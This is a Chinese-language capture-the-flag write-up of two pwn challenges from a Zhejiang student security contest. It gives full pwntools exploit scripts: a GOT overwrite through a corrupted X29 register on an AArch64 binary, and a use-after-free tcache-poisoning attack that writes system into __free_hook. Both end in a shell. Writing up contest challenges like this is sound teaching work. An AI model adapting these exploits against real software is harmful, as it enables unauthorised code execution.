第五届大学生浙江省网络安全大赛预赛-pwn

本文最后更新于:2023年11月15日 晚上

new_stack

main函数代码

后门函数代码

后门函数会将我们输入的数据写入栈中,刚好最后8字节可以修改X29寄存器的值,而这个寄存器在程序中是用来临时储存函数第一个参数的寄存器,会用来修改X0寄存器,刚好在后门函数结束后会执行一次输入输出,这时可以通过修改got表控制程序流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
"""
设置X29寄存器为got表中puts项地址-0x18
这样在每次输入时就会设置puts,read,strncpy函数对应的got表项
"""
from pwn import *
p=other_att('./pwn1')
libc=ELF('./libc.so.6',checksec=0)
e=ELF('./pwn1',checksec=0)
read_1=0x4007f4
ret=0x400834
puts_got=e.got['puts']
puts=0x400590
read=0x400590
bss=e.bss(0x100)
p.readuntil('name')
p.send(b'a'*0x10+p64(puts_got-0x18))
p.readuntil('go')
p.send(p64(read_1)+p64(read)+p64(ret)) # 更改程序流程
p.send(p64(puts)) # 因为正常输出会输出puts函数对应got表项中的数值
# 这时利用程序的延迟绑定技术,会使puts函数对应got表项中储存真实的puts函数地址
# 可以用来获取libc地址
d=(u64(p.readuntil("\nlet's go",drop=1).ljust(0x8,b'\x00'))>>8)
print(hex(d))
libc.address=d-libc.sym['puts']
print(hex(libc.address))
system=libc.sym['system']
p.send(p64(read_1)+p64(read)+p64(ret))
p.send(p64(system)+p64(read)+p64(0x4007f0))
# 先通过 LDP X29, X30, [SP+0x30+var_30],#0x30 指令设置X29的值为栈中的数值
# 并将puts函数设置为system
# 这时向栈中写入/bin/sh ,在执行puts函数时就会执行system("/bin/sh");
p.interactive()

babyheap

main函数代码

add函数代码

edit函数代码

show函数代码

delete函数代码

因为程序在释放时没有清空指针,存在uaf,且只允许同时存在7chunk,所以必须要在7chunk内获取flag
因为存在uaf,所以可以先获取heap段地址,通过heap段地址就可以知道tcache struct地址
只要修改tcache bin的值,在任意地址放置chunk
可以先设置一个chunksize0x430,并在这个chunk+0x430的位置处构造两个0x20字节的chunk 释放这个chunk,就会将这个chunk放入unsorted bin中,就可以获取libc地址
这时再将free_hook的地址放入tcache bin中,就可以在free_hook中写入system,执行free函数调用system("/bin/sh")

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *

def add(size):
p.sendlineafter('choice:','1')
p.sendlineafter('size:',str(size))

def edit(ind,data):
p.sendlineafter('choice:','2')
p.sendlineafter('index:',str(ind))
p.sendafter('content:',data)

def show(ind):
p.sendlineafter('choice:','3')
p.sendlineafter('index:',str(ind))

def free(ind):
p.sendlineafter('choice:','4')
p.sendlineafter('index:',str(ind))

libc=ELF('./libc-2.27.so',checksec=0)
p=process('./babyheap')
add(0x58) #0
add(0x58) #1

free(0)
free(1)
show(1)

p.readuntil(' \n')
d=u64(p.readuntil('\n',drop=1).ljust(8,b'\x00'))
print(hex(d))
heap=d&0xfffffffffffff000+0x70
edit(1,p64(heap))
add(0x58) #2
add(0x58) #3
edit(3,p64(0)*2+p64(d-0x10)+p64(d-0x10+0x430))
add(0x58) #4
add(0x68) #5
edit(5,p64(0x0)+p64(0x21)+p64(0)*3+p64(0x21))
edit(4,p64(0)+p64(0x431))
free(0)
show(0)
p.readuntil(' \n')
d=u64(p.readuntil('\n',drop=1).ljust(8,b'\x00'))
malloc_hook=d-0x60-0x10
libc.address=malloc_hook-libc.sym['__malloc_hook']
system=libc.sym['system']
free_hook=libc.sym['__free_hook']
edit(3,p64(0)*2+p64(free_hook))
edit(1,b'/bin/sh\x00')
add(0x58) # 6
edit(6,p64(system))
pause()
free(1)
p.interactive()

第五届大学生浙江省网络安全大赛预赛-pwn
https://rot-will.github.io/page/wp/第五届浙江省大学生网络安全大赛预赛-pwn/
作者
rot_will
发布于
2022年9月29日
更新于
2023年11月15日
许可协议